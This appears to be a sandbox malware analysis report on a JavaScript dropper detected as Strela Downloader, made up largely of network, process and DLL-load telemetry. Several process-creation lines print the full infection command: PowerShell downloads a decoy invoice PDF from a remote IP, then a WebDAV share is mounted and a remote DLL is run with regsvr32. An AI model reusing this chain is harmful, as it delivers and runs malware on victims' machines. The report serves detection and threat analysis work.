TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000003.1449503675.00000148DA8DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1523159534.000001DC1945C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1522937037.000001DC19430000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1517166094.000001DC1944D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1523159534.000001DC1944D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1517567264.000001DC19483000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1514206356.000001DC1947D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1524708093.000001DC19484000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/1
Source: net.exe, 00000007.00000003.1517166094.000001DC1945C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1523159534.000001DC1945C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/4
Source: net.exe, 00000007.00000003.1517166094.000001DC1945C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1523159534.000001DC1945C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/8
Source: net.exe, 00000007.00000002.1522937037.000001DC19430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space0
Source: svchost.exe, 00000009.00000002.2745114171.000001B206683000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1521409981.000001B2064B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6964, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 225111419252504808.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2220

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5444:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s3021blb.wrh.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225111419252504808.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1636,i,17588879317653258415,7033823305071933733,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1636,i,17588879317653258415,7033823305071933733,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
